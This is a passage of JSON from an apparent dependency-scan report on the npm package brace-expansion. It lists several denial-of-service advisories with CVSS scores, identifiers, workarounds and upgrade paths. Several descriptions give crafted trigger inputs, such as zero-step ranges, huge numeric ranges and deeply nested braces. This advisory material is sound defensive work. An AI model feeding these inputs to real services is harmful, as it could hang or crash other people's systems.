"cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": 